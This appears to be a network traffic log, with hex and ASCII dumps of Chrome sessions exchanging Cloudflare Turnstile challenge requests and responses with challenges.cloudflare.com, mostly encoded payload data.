2025-01-15 14:12:19 UTC	1369	IN	Data Raw: 35 6f 33 61 5a 6a 4b 32 74 65 71 43 7a 69 58 47 6e 73 58 65 51 6c 59 57 53 65 62 36 30 6e 72 43 2f 6e 4a 75 4e 75 35 53 65 69 4b 6a 4b 68 6f 69 47 77 73 53 52 6b 59 76 42 6b 37 53 56 71 63 4f 61 73 71 75 37 30 35 62 55 74 74 58 58 6f 4d 61 64 35 2b 48 57 34 37 6a 44 77 71 65 6c 7a 72 72 52 76 4d 6e 54 31 62 54 45 37 4c 58 33 7a 4e 33 62 74 72 2f 65 77 74 6e 64 7a 76 6e 68 43 50 4c 41 43 2f 72 48 42 67 58 63 33 51 38 4c 42 39 44 50 43 66 59 46 47 4f 7a 53 42 2b 66 30 37 2f 54 32 4a 42 48 63 41 76 72 65 48 51 49 4e 2b 69 59 4c 49 42 6e 71 4b 41 2f 71 4c 50 49 57 45 41 51 74 4a 77 63 66 4b 43 77 71 4d 79 51 6b 48 30 4d 43 52 30 51 55 42 43 73 6a 54 69 34 6a 51 43 73 4b 54 55 70 51 55 30 41 58 4f 56 4a 63 46 79 67 7a 4e 69 46 4f 57 46 6b 38 56 54 77 61 5a 44 Data Ascii: 5o3aZjK2teqCziXGnsXeQlYWSeb60nrC/nJuNu5SeiKjKhoiGwsSRkYvBk7SVqcOasqu705bUttXXoMad5+HW47jDwqelzrrRvMnT1bTE7LX3zN3btr/ewtndzvnhCPLAC/rHBgXc3Q8LB9DPCfYFGOzSB+f07/T2JBHcAvreHQIN+iYLIBnqKA/qLPIWEAQtJwcfKCwqMyQkH0MCR0QUBCsjTi4jQCsKTUpQU0AXOVJcFygzNiFOWFk8VTwaZD
2025-01-15 14:12:19 UTC	1369	IN	Data Raw: 61 61 32 6f 6b 6f 6d 66 70 35 4f 6b 71 5a 61 6f 6e 4a 75 31 69 62 32 7a 69 34 43 52 6d 5a 61 31 78 70 69 34 74 38 33 4b 79 62 43 67 72 4b 66 47 6e 6f 79 53 79 39 72 4e 75 35 62 5a 6d 4e 47 79 72 4c 2b 36 33 4d 4b 59 32 36 54 59 32 4e 62 64 32 61 37 4b 32 4c 2f 46 37 37 44 41 37 63 6d 30 31 65 2f 78 2b 74 57 37 34 41 44 74 75 2b 37 4f 39 73 62 78 41 74 76 30 2b 50 62 44 36 4e 38 43 32 2f 30 48 38 75 51 4e 39 42 4d 45 45 66 67 4b 38 65 6e 7a 49 66 4c 61 38 79 51 55 2b 41 66 39 2f 67 59 70 4a 4f 4d 72 47 4f 6b 71 4b 79 48 38 4c 67 6b 74 43 6a 49 34 4a 77 6e 37 45 42 34 74 49 51 38 76 50 7a 30 6f 45 69 45 2b 42 78 55 6a 49 67 56 4d 49 55 68 4c 4a 46 59 72 56 53 67 77 47 43 73 59 4d 42 6f 66 55 57 4a 4c 53 31 78 61 4f 7a 51 61 51 46 64 48 57 32 6b 34 63 44 78 Data Ascii: aa2okomfp5OkqZaonJu1ib2zi4CRmZa1xpi4t83KybCgrKfGnoySy9rNu5bZmNGyrL+63MKY26TY2Nbd2a7K2L/F77DA7cm01e/x+tW74ADtu+7O9sbxAtv0+PbD6N8C2/0H8uQN9BMEEfgK8enzIfLa8yQU+Af9/gYpJOMrGOkqKyH8LgktCjI4Jwn7EB4tIQ8vPz0oEiE+BxUjIgVMIUhLJFYrVSgwGCsYMBofUWJLS1xaOzQaQFdHW2k4cDx
2025-01-15 14:12:19 UTC	1369	IN	Data Raw: 4c 47 76 6b 61 61 33 71 61 32 32 6b 49 31 38 6e 70 47 7a 74 70 43 67 6f 34 65 48 6a 4d 33 41 72 6f 75 70 6b 63 65 78 6a 4d 66 54 6f 5a 50 50 71 72 43 73 75 4e 6e 4c 30 75 48 52 32 72 50 48 77 64 72 65 78 64 61 38 79 4b 58 6d 79 64 47 2b 38 63 50 4d 35 75 2f 52 34 37 58 55 2b 2b 72 4e 37 73 44 76 30 64 6e 51 33 62 33 66 78 77 54 6d 43 76 66 57 7a 4f 44 63 36 4f 30 56 7a 67 2f 7a 39 67 54 51 39 77 6a 58 46 64 54 78 30 69 48 34 36 78 51 67 45 76 77 64 38 67 44 68 44 41 41 46 2f 42 34 78 36 76 4d 4c 46 43 30 6a 4d 77 49 48 48 51 38 65 39 6a 30 63 47 30 41 52 4d 6b 55 39 49 50 34 57 48 52 73 35 4e 30 78 50 52 67 74 46 53 51 34 77 51 6a 42 57 4a 42 63 70 57 56 39 64 50 56 59 65 51 55 56 6b 5a 69 42 69 56 6c 78 6a 53 78 39 58 54 6d 5a 5a 54 44 78 4a 4c 48 56 58 Data Ascii: LGvkaa3qa22kI18npGztpCgo4eHjM3AroupkcexjMfToZPPqrCsuNnL0uHR2rPHwdrexda8yKXmydG+8cPM5u/R47XU++rN7sDv0dnQ3b3fxwTmCvfWzODc6O0Vzg/z9gTQ9wjXFdTx0iH46xQgEvwd8gDhDAAF/B4x6vMLFC0jMwIHHQ8e9j0cG0ARMkU9IP4WHRs5N0xPRgtFSQ4wQjBWJBcpWV9dPVYeQUVkZiBiVlxjSx9XTmZZTDxJLHVX
2025-01-15 14:12:19 UTC	1369	IN	Data Raw: 65 73 75 49 6d 36 6a 49 7a 45 6d 6f 39 2b 79 59 71 65 79 35 6d 45 77 4b 2b 49 6a 73 4b 53 30 70 53 53 79 61 47 51 6f 36 6d 63 79 74 57 74 6e 72 6d 2b 32 36 58 6a 73 64 53 6a 33 39 62 59 70 39 71 6c 37 71 6a 63 79 73 44 75 7a 64 44 46 30 2f 58 4a 36 74 61 30 75 51 44 55 75 74 37 79 76 2f 50 43 36 4d 6a 41 35 73 66 68 77 42 44 69 43 51 2f 64 79 75 2f 6a 36 42 67 4d 31 41 76 39 2b 52 34 64 33 76 50 74 33 68 45 62 44 2f 30 5a 47 4f 63 55 43 68 72 71 47 41 59 67 36 2b 2f 73 4b 77 6b 4b 49 6a 41 63 4a 42 4d 30 39 2f 67 51 4b 6a 6b 56 50 7a 4d 41 43 45 63 36 51 53 6c 4c 51 78 30 4d 45 44 6f 4e 4a 56 4e 48 54 7a 5a 43 51 79 77 6c 46 45 59 62 49 42 68 52 48 6d 42 56 56 30 55 68 4e 6c 39 4a 57 46 35 64 50 6c 68 67 58 79 38 6d 53 6d 59 78 57 54 6c 6f 58 45 5a 73 64 Data Ascii: esuIm6jIzEmo9+yYqey5mEwK+IjsKS0pSSyaGQo6mcytWtnrm+26XjsdSj39bYp9ql7qjcysDuzdDF0/XJ6ta0uQDUut7yv/PC6MjA5sfhwBDiCQ/dyu/j6BgM1Av9+R4d3vPt3hEbD/0ZGOcUChrqGAYg6+/sKwkKIjAcJBM09/gQKjkVPzMACEc6QSlLQx0MEDoNJVNHTzZCQywlFEYbIBhRHmBVV0UhNl9JWF5dPlhgXy8mSmYxWTloXEZsd
2025-01-15 14:12:19 UTC	1369	IN	Data Raw: 2f 68 62 43 51 77 62 4c 4c 7a 59 75 68 71 70 6a 4a 6a 34 32 72 7a 63 2b 6d 6f 4e 71 58 31 35 58 59 79 74 65 64 6e 73 2f 55 33 4b 32 2b 72 37 4f 66 34 2b 53 6a 72 62 61 33 75 72 72 76 37 4c 50 78 38 2f 54 45 74 62 43 31 36 66 7a 34 79 66 66 36 31 64 72 2b 41 64 72 52 41 67 50 30 76 51 55 49 2b 4e 72 6e 43 74 44 37 7a 4e 49 51 45 64 66 50 34 76 59 58 35 66 62 31 30 75 6b 51 46 75 7a 6a 2f 52 37 32 35 68 67 64 4a 53 30 46 48 66 44 72 38 52 33 38 4c 68 38 34 4f 76 63 4f 46 77 55 32 2b 2f 6b 59 4f 6a 77 54 44 55 63 45 52 41 4a 46 4e 30 51 4b 42 43 5a 4f 47 68 6f 70 55 68 38 66 4b 68 4d 68 49 69 4e 46 56 79 63 32 46 6c 67 67 58 54 39 61 48 46 49 65 4e 32 67 39 59 47 64 6f 49 58 41 6f 63 45 56 77 63 48 63 30 63 48 68 34 54 79 35 32 65 58 68 66 65 55 74 61 4f 6a Data Ascii: /hbCQwbLLzYuhqpjJj42rzc+moNqX15XYytedns/U3K2+r7Of4+Sjrba3urrv7LPx8/TEtbC16fz4yff61dr+AdrRAgP0vQUI+NrnCtD7zNIQEdfP4vYX5fb10ukQFuzj/R725hgdJS0FHfDr8R38Lh84OvcOFwU2+/kYOjwTDUcERAJFN0QKBCZOGhopUh8fKhMhIiNFVyc2FlggXT9aHFIeN2g9YGdoIXAocEVwcHc0cHh4Ty52eXhfeUtaOj
2025-01-15 14:12:19 UTC	1369	IN	Data Raw: 69 4a 61 57 6e 6f 32 5a 6d 70 36 51 6e 63 4b 53 6f 61 4b 78 7a 61 6d 6c 79 39 69 57 71 65 43 7a 72 71 50 55 74 71 53 62 32 4d 4f 34 74 72 61 37 75 72 72 4b 77 76 43 39 76 73 50 44 77 66 6a 4c 78 4d 62 56 76 73 33 4a 2f 72 37 4d 7a 76 54 6a 31 4c 76 69 35 39 6a 56 44 4d 37 62 7a 77 48 62 33 38 73 56 35 2b 62 4c 43 66 72 59 35 65 62 75 48 65 6e 35 47 75 7a 74 4a 4f 62 79 38 66 49 4d 39 66 55 62 37 65 62 35 2b 68 50 77 2f 65 7a 32 41 2b 73 70 44 41 66 37 50 50 58 32 43 7a 45 67 45 41 38 50 4b 42 51 53 53 52 74 4a 42 45 30 73 47 68 73 62 4a 43 45 66 52 45 34 69 49 67 30 61 45 79 63 6e 4d 43 73 59 59 55 41 74 47 46 55 34 4e 79 68 5a 54 44 63 67 52 31 41 2b 4f 6e 46 44 4d 54 35 30 62 58 56 43 51 31 42 4b 52 32 31 4c 4e 7a 69 42 5a 46 4e 45 64 58 45 2f 55 6e 6c Data Ascii: iJaWno2Zmp6QncKSoaKxzamly9iWqeCzrqPUtqSb2MO4tra7urrKwvC9vsPDwfjLxMbVvs3J/r7MzvTj1Lvi59jVDM7bzwHb38sV5+bLCfrY5ebuHen5GuztJOby8fIM9fUb7eb5+hPw/ez2A+spDAf7PPX2CzEgEA8PKBQSSRtJBE0sGhsbJCEfRE4iIg0aEycnMCsYYUAtGFU4NyhZTDcgR1A+OnFDMT50bXVCQ1BKR21LNziBZFNEdXE/Unl
2025-01-15 14:12:19 UTC	1369	IN	Data Raw: 73 43 4c 31 74 4c 4d 31 4a 43 76 79 4c 69 58 79 74 54 63 6d 64 33 51 77 4a 2f 53 33 4f 54 71 77 61 58 48 71 2b 6a 77 73 4f 36 6b 37 4d 69 7a 35 4d 4c 76 73 38 32 78 39 50 37 55 75 73 6d 33 74 50 6a 75 41 37 67 42 33 4d 66 34 30 39 54 4b 2b 73 30 42 78 2f 7a 65 44 52 66 73 31 65 72 5a 37 2f 49 48 48 67 7a 36 2b 39 76 32 47 64 73 6d 49 78 30 6c 4b 77 4c 6c 41 75 73 70 36 66 41 7a 4c 2f 45 4c 36 79 45 6c 4e 54 6e 77 39 51 58 36 4f 54 45 39 51 76 51 35 51 55 59 65 41 68 6f 49 52 55 45 4e 54 6b 73 4f 49 77 67 2b 4b 31 45 4e 44 52 49 68 46 31 56 5a 57 52 6c 62 56 43 46 6a 49 30 34 76 49 46 51 69 4d 53 64 6d 51 32 6c 76 4c 31 6f 37 4c 46 39 70 63 58 63 33 59 6b 49 30 61 44 5a 46 4f 33 6c 35 66 59 4e 44 62 6b 35 41 63 33 32 46 69 30 74 32 56 55 68 38 53 6c 6c 50 Data Ascii: sCL1tLM1JCvyLiXytTcmd3QwJ/S3OTqwaXHq+jwsO6k7Miz5MLvs82x9P7Uusm3tPjuA7gB3Mf409TK+s0Bx/zeDRfs1erZ7/IHHgz6+9v2GdsmIx0lKwLlAusp6fAzL/EL6yElNTnw9QX6OTE9QvQ5QUYeAhoIRUENTksOIwg+K1ENDRIhF1VZWRlbVCFjI04vIFQiMSdmQ2lvL1o7LF9pcXc3YkI0aDZFO3l5fYNDbk5Ac32Fi0t2VUh8SllP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.7	50682	104.18.94.41	443	3924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:12:20 UTC	598	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/955245256:1736947623:vp-07IYrd0iRjBiJMB70-HnWl3BYr4NojnYmTM_I_kY/902675a0487a1a24/gzLGPeSUG39YlRDT0l7xQXdoUzvyp0W3TyWeXCdcVwY-1736950333-1.1.1.1-i1AJ09Z.5At06MFQ0IZjUzIP1VvQrCXuWUgLkwj8GT_GuUS1z1JdeZ8cntD4B1GO HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 14:12:20 UTC	442	IN	HTTP/1.1 400 Bad Request Date: Wed, 15 Jan 2025 14:12:20 GMT Content-Type: application/json Content-Length: 14 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: JO6/9C5u/63sYY7pS0ZArfhaFPn3Ymu1w9oruLr4fy81IFVHbnUjrgUG42AlHDUO1lamW47JQt313iqu/A+Zcg==$Q1fX9dQteROJ8QGE0B1Xlw== Server: cloudflare CF-RAY: 902675c99c497cea-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 14:12:20 UTC	14	IN	Data Raw: 7b 22 65 72 72 22 3a 31 30 30 32 33 30 7d Data Ascii: {"err":100230}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.7	50683	104.18.95.41	443	3924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:12:25 UTC	1171	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/955245256:1736947623:vp-07IYrd0iRjBiJMB70-HnWl3BYr4NojnYmTM_I_kY/902675a0487a1a24/gzLGPeSUG39YlRDT0l7xQXdoUzvyp0W3TyWeXCdcVwY-1736950333-1.1.1.1-i1AJ09Z.5At06MFQ0IZjUzIP1VvQrCXuWUgLkwj8GT_GuUS1z1JdeZ8cntD4B1GO HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 34908 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: gzLGPeSUG39YlRDT0l7xQXdoUzvyp0W3TyWeXCdcVwY-1736950333-1.1.1.1-i1AJ09Z.5At06MFQ0IZjUzIP1VvQrCXuWUgLkwj8GT_GuUS1z1JdeZ8cntD4B1GO sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/jloxg/0x4AAAAAAA5Q7Uwm9h417dqO/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 14:12:25 UTC	16384	OUT	Data Raw: 76 5f 39 30 32 36 37 35 61 30 34 38 37 61 31 61 32 34 3d 4c 48 54 75 70 56 53 62 6b 34 48 6a 48 6a 35 48 53 49 53 34 43 4e 56 35 52 56 53 70 53 6a 62 31 75 65 54 52 35 63 6a 48 75 4c 51 56 37 54 6a 4c 56 6a 56 51 52 25 32 62 65 6a 6d 75 65 51 6a 31 59 6a 73 75 65 34 51 52 49 6a 71 62 6a 58 75 6a 37 6a 70 75 6a 48 34 54 75 59 78 62 6a 2d 75 59 5a 30 49 6e 6a 59 2d 43 51 42 75 49 31 6a 57 75 4e 56 46 36 71 51 39 6a 46 6a 68 4e 53 2b 6a 7a 24 6d 4e 4e 6a 53 77 75 53 32 49 6a 53 31 53 50 75 30 55 77 6a 53 51 77 53 73 2d 2b 6a 4f 39 6a 78 75 2d 34 39 61 71 6f 57 4e 6a 6e 6a 75 55 4d 4e 7a 54 77 34 58 70 31 58 4c 44 7a 56 56 4a 39 6a 54 55 4d 6a 75 75 30 47 77 6b 39 6a 74 63 34 2b 55 73 64 6a 4a 74 65 74 4e 4a 4c 5a 50 33 79 33 6d 57 56 72 6b 24 79 36 24 48 32 Data Ascii: v_902675a0487a1a24=LHTupVSbk4HjHj5HSIS4CNV5RVSpSjb1ueTR5cjHuLQV7TjLVjVQR%2bejmueQj1Yjsue4QRIjqbjXuj7jpujH4TuYxbj-uYZ0InjY-CQBuI1jWuNVF6qQ9jFjhNS+jz$mNNjSwuS2IjS1SPu0UwjSQwSs-+jO9jxu-49aqoWNjnjuUMNzTw4Xp1XLDzVVJ9jTUMjuu0Gwk9jtc4+UsdjJtetNJLZP3y3mWVrk$y6$H2
2025-01-15 14:12:25 UTC	16384	OUT	Data Raw: 6a 34 48 56 39 53 2b 53 34 6a 46 6a 6a 75 65 49 71 49 56 4f 6a 77 6a 32 6a 38 67 53 39 6a 37 6a 69 6a 4c 6b 75 6e 6a 34 75 47 4d 6a 75 6a 6e 75 47 6b 6a 61 6a 33 75 71 6b 56 4f 6a 6f 75 56 51 52 63 6a 43 6a 4c 6b 53 7a 75 6a 77 6a 51 6a 49 6a 4b 69 36 56 52 54 4e 51 6a 4c 6b 53 6c 54 53 48 47 49 70 71 4e 7a 75 56 6b 53 75 6a 46 49 4c 65 52 2d 39 47 75 47 48 56 24 4d 6c 6a 71 6b 53 76 6a 42 6a 62 42 6b 67 6a 46 49 30 30 6a 43 53 30 6a 43 39 52 61 6a 52 6a 24 6b 52 61 6a 4f 6a 58 6b 52 62 6a 4b 75 47 39 59 48 6a 6c 6a 56 6b 53 62 51 51 6a 58 75 6a 31 53 78 6a 38 72 78 66 75 58 75 38 6a 53 54 6a 61 6a 53 75 53 50 75 6d 4e 59 7a 56 62 6a 46 49 6a 6a 52 43 57 51 38 69 48 66 39 75 6a 42 51 6a 75 6a 75 75 49 32 56 75 53 62 75 6a 6b 56 34 6a 46 75 30 6b 56 61 6a Data Ascii: j4HV9S+S4jFjjueIqIVOjwj2j8gS9j7jijLkunj4uGMjujnuGkjaj3uqkVOjouVQRcjCjLkSzujwjQjIjKi6VRTNQjLkSlTSHGIpqNzuVkSujFILeR-9GuGHV$MljqkSvjBjbBkgjFI00jCS0jC9RajRj$kRajOjXkRbjKuG9YHjljVkSbQQjXuj1Sxj8rxfuXu8jSTjajSuSPumNYzVbjFIjjRCWQ8iHf9ujBQjujuuI2VuSbujkV4jFu0kVaj
2025-01-15 14:12:25 UTC	2140	OUT	Data Raw: 72 64 4b 6b 52 69 44 37 49 67 34 65 76 65 67 6a 66 4e 4c 68 33 39 6f 6a 75 49 49 52 43 6c 6b 75 56 32 33 78 65 72 48 52 51 6a 6e 75 63 49 68 2d 71 4a 52 44 66 4f 24 71 39 34 31 75 53 2d 43 43 6a 50 75 34 4d 30 73 6a 4f 33 30 30 6a 72 64 37 54 54 46 6f 67 6a 7a 55 61 38 6c 49 6a 52 75 38 48 52 4f 6b 57 75 53 42 59 69 66 51 6f 44 35 35 42 53 53 48 38 64 72 39 41 31 77 71 39 53 67 6a 6a 72 61 48 56 64 51 56 30 44 74 59 35 50 31 35 49 6d 59 61 52 71 68 79 4f 6c 41 75 53 75 71 48 4c 51 50 61 75 4c 58 72 63 6b 72 77 39 7a 56 68 42 74 75 38 2d 68 51 75 74 68 6e 69 31 67 6a 68 6a 54 6b 53 59 54 73 4f 44 69 59 44 6a 6d 62 43 67 34 24 73 6c 6a 62 2b 72 71 4e 56 43 51 66 67 79 64 6d 6b 52 72 6e 39 4a 48 48 38 55 33 77 6a 6f 2b 76 54 56 73 6a 6c 6a 4c 48 56 73 6a 58 Data Ascii: rdKkRiD7Ig4evegjfNLh39ojuIIRClkuV23xerHRQjnucIh-qJRDfO$q941uS-CCjPu4M0sjO300jrd7TTFogjzUa8lIjRu8HROkWuSBYifQoD55BSSH8dr9A1wq9SgjjraHVdQV0DtY5P15ImYaRqhyOlAuSuqHLQPauLXrckrw9zVhBtu8-hQuthni1gjhjTkSYTsODiYDjmbCg4$sljb+rqNVCQfgydmkRrn9JHH8U3wjo+vTVsjljLHVsjX
2025-01-15 14:12:25 UTC	1347	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 14:12:25 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4776 Connection: close cf-chl-out: E1Dnwzx991u+zad9UXqSS9NgSUD1sruCSd5gr8wcJFqUKz2Eppj+LD+6+mz1iqQCP91vC6sUxtWCXX9wd5ZEylv8jYI/PgP2G5wamCdASZA=$1rMK0l773CvKGQrgmPgGBg== cf-chl-out-s: 84tCeTLi9NdIcXt18489bVnr85tFS0XZ2WGfdEZzahzsCny/e9/MlApL2wnQg5H04q16EJRYhRguWRHiO+b2tJYMko6n2hvdS38MDH9/gC+NDtJ1y+sfwBC4Bz5trOU6bnzxZP/uB+EzTPAFyoZrVktMfQ2BdLXYJ8ezISlk3geTCIt4srIRYlv5sSCI0q23RD4Hlij/D9xYV9w1p/uGAkL1A3LuWeGs+tOZoqGbxLwixch1O8Rirvp8drn48GJq6lSOtEXCzYMXdbMjYEp9NB5thhNrBB6FRCgh0MCtPD49VneFQsdYrLp3bpVvge+Vo2zVAwZ4MaNV7dBkAC6zeGfEQz6Iqg28tfsvc4nY+cITKynT77o9Vjct2JJD7J1RUpUTFeZosDVSPxw0TwAIvKaDETQoo0G7sHLvDYA1XVLZ6It1emXpqbZZ99lMgnWUJKWaFCgKHxbXVpiB2irznMmC/TPpDUYQJVT9bf+OLFr2QteX0kYSm+MJV4AyZQWCCZSdsCkRWbWGJXCq6aTPyeEcaRb6RsOnOxEXE3upv6B+KzXNkNkAwIlHuTWwwpMyOJyvrub6Um9/llru2MPp72M/6EgVTJ2E8KWCQgn0v47p6J8A4FzWKTEYL0xD3ynA4ldL3CnTcVKUKbjT9J/v0lsK9dfz+OeKwJJ+nQlwxGK530uD2TAclCSHjW8NqaO9JTrBRF6L4oLKExXV1YVMbG8l2zXRvG2Aj2XUXtTQbYiJKRRNYGiUVk00ByaqX6lErmcNbg6IM+6lnajkYUkIEoLdErcIHFs198guSBP+FrHpnons4RsBYNroZUYJbaGdevaVgP1MxbPV4UF3xcxF/LUQa290T5Cu3uBlrUyXi5RTVuiqPSxX4vvT/NE1jE/OBNxviYfEzaQvK/AGnp4JvQBYqWU5dFff+T1LZNtIMy04H9LpTnMu5O1+2FY8WfqfKw16go1/koUj6auD9p60MBQXfp++s+CLrBIBZ7J8QH4=$03QpT [TRUNCATED] Server: cloudflare
2025-01-15 14:12:25 UTC	62	IN	Data Raw: 43 46 2d 52 41 59 3a 20 39 30 32 36 37 35 65 62 66 65 30 64 63 33 33 36 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: CF-RAY: 902675ebfe0dc336-EWRalt-svc: h3=":443"; ma=86400
2025-01-15 14:12:25 UTC	1329	IN	Data Raw: 56 57 78 72 65 6b 79 62 65 47 78 70 6a 6e 68 32 63 33 2b 66 6d 59 47 62 6d 49 53 68 66 49 71 62 6f 6f 39 6d 6b 59 42 38 67 72 61 31 6f 58 56 72 63 33 68 33 6b 37 52 2f 77 5a 39 2f 65 5a 53 78 6c 4c 53 59 74 5a 72 4b 67 73 32 65 76 63 71 67 73 71 6d 39 70 70 57 77 74 4c 69 72 70 62 6a 4f 71 37 62 4b 30 38 43 6a 72 39 47 59 77 4b 65 37 74 64 71 30 76 73 69 36 77 62 72 6f 72 65 65 74 34 72 48 76 38 4f 4b 35 30 64 76 66 39 41 48 74 38 74 54 76 76 2f 6e 59 30 74 6e 38 41 2f 7a 73 78 65 55 43 7a 63 33 6e 33 68 45 56 41 76 50 73 46 64 72 72 35 68 6a 64 2f 69 4d 4c 4a 53 4d 69 46 77 66 6b 33 79 4c 38 46 79 76 35 4b 75 77 6e 45 51 4d 4d 4d 41 6b 6f 38 52 55 70 46 50 4c 76 50 78 2f 35 47 2f 74 45 51 54 49 42 50 54 51 61 42 53 51 73 54 41 59 43 4b 45 4d 4f 50 52 4e Data Ascii: VWxrekybeGxpjnh2c3+fmYGbmIShfIqboo9mkYB8gra1oXVrc3h3k7R/wZ9/eZSxlLSYtZrKgs2evcqgsqm9ppWwtLirpbjOq7bK08Cjr9GYwKe7tdq0vsi6wbroreet4rHv8OK50dvf9AHt8tTvv/nY0tn8A/zsxeUCzc3n3hEVAvPsFdrr5hjd/iMLJSMiFwfk3yL8Fyv5KuwnEQMMMAko8RUpFPLvPx/5G/tEQTIBPTQaBSQsTAYCKEMOPRN
2025-01-15 14:12:25 UTC	1369	IN	Data Raw: 54 2b 41 4f 7a 6b 31 57 48 43 42 63 45 46 2b 69 55 70 46 6a 46 35 4e 57 32 32 53 65 34 79 50 59 48 46 71 6d 56 53 47 54 70 65 57 63 35 46 30 6e 59 32 63 58 61 64 37 59 6e 78 69 66 33 65 65 5a 59 53 77 71 61 71 74 6e 61 4f 32 73 34 65 6c 64 61 5a 75 76 4c 65 72 6c 4b 36 54 6d 49 2b 76 78 37 65 6f 74 34 47 31 6c 37 65 64 79 5a 2f 45 30 38 32 67 78 74 58 48 77 63 50 53 6d 37 50 4f 33 35 7a 55 6b 39 72 4e 32 62 71 68 75 65 47 7a 36 4f 61 69 75 2b 2b 75 33 64 33 71 34 39 50 4d 39 76 44 53 73 66 76 50 7a 72 77 41 76 76 67 42 30 77 44 74 2b 62 33 50 2f 64 77 4a 79 67 6b 44 44 65 4c 6e 32 38 7a 74 33 41 50 4f 36 2b 77 47 31 51 6a 7a 38 78 66 7a 33 75 76 5a 48 67 44 38 4a 78 6a 36 4a 76 6f 63 46 65 66 6c 37 77 51 69 37 53 77 74 4e 76 49 4c 44 41 59 34 4a 6a 6f 79 Data Ascii: T+AOzk1WHCBcEF+iUpFjF5NW22Se4yPYHFqmVSGTpeWc5F0nY2cXad7Ynxif3eeZYSwqaqtnaO2s4eldaZuvLerlK6TmI+vx7eot4G1l7edyZ/E082gxtXHwcPSm7PO35zUk9rN2bqhueGz6Oaiu++u3d3q49PM9vDSsfvPzrwAvvgB0wDt+b3P/dwJygkDDeLn28zt3APO6+wG1Qjz8xfz3uvZHgD8Jxj6JvocFefl7wQi7SwtNvILDAY4Jjoy
2025-01-15 14:12:25 UTC	1369	IN	Data Raw: 46 68 64 47 56 68 64 7a 31 57 56 30 74 38 62 32 68 68 5a 6d 32 4e 67 33 4f 4b 55 57 78 6c 6a 6c 4e 79 61 6e 43 58 64 6c 71 45 6f 6f 65 6f 68 4b 4e 2b 71 35 71 6a 67 61 2b 6d 73 49 56 74 70 61 43 6f 70 47 36 53 68 4a 57 38 70 72 75 52 65 49 36 58 67 4d 46 2b 68 4d 4b 54 6c 38 61 4a 75 62 2f 49 6a 64 47 72 7a 36 61 4b 6e 39 53 70 6a 73 50 58 6b 70 65 7a 31 64 58 4d 7a 61 72 6b 75 38 61 67 76 37 2f 6e 6f 61 6d 70 35 75 76 70 78 75 7a 68 37 74 50 69 74 76 58 69 31 4d 66 55 38 74 76 4a 32 4c 76 57 76 76 30 42 39 73 58 65 35 67 4d 48 33 4e 7a 34 44 66 63 4f 43 39 77 53 34 77 73 57 42 51 76 70 34 76 50 34 35 52 37 34 36 79 4c 77 2f 51 44 78 34 77 45 57 49 2b 67 70 46 69 72 2b 48 43 37 72 4d 53 4c 76 4b 51 4d 33 4c 79 72 33 4f 68 6b 59 2f 43 77 2b 4f 41 73 62 47 Data Ascii: FhdGVhdz1WV0t8b2hhZm2Ng3OKUWxljlNyanCXdlqEooeohKN+q5qjga+msIVtpaCopG6ShJW8pruReI6XgMF+hMKTl8aJub/IjdGrz6aKn9SpjsPXkpez1dXMzarku8agv7/noamp5uvpxuzh7tPitvXi1MfU8tvJ2LvWvv0B9sXe5gMH3Nz4DfcOC9wS4wsWBQvp4vP45R746yLw/QDx4wEWI+gpFir+HC7rMSLvKQM3Lyr3OhkY/Cw+OAsbG
2025-01-15 14:12:25 UTC	709	IN	Data Raw: 73 66 31 70 68 53 32 64 65 53 57 78 70 5a 35 52 67 69 47 69 49 6b 57 68 65 58 6f 6d 69 63 33 64 77 65 48 4b 57 58 6d 56 37 6c 36 61 66 62 57 47 75 6a 48 78 39 69 49 32 41 74 4b 32 45 65 4b 71 50 75 58 36 2f 69 4a 53 42 65 62 6c 2f 6c 34 2f 46 6c 70 65 6a 75 70 75 4d 76 71 50 4c 6b 71 79 77 72 61 4b 66 75 4b 36 6d 79 37 69 73 6e 74 32 76 33 39 76 53 74 2b 4f 78 77 4d 53 79 36 4d 47 6a 77 4c 6d 35 30 4d 37 41 33 2b 37 6e 78 73 72 74 38 38 6e 45 38 73 69 38 2b 64 2f 36 76 37 6e 44 31 63 59 43 38 63 62 4b 2b 51 59 46 32 4f 62 62 42 38 51 51 43 74 33 57 41 76 6a 6a 47 4e 6a 61 31 68 33 31 47 2b 2f 68 2b 52 4c 69 38 43 54 65 35 65 6f 72 2f 69 72 33 41 2b 4c 74 4d 66 77 4e 42 2f 58 70 4c 67 59 45 4f 44 63 48 2f 43 77 7a 45 67 4d 44 49 52 6f 54 45 43 55 6d 46 41 Data Ascii: 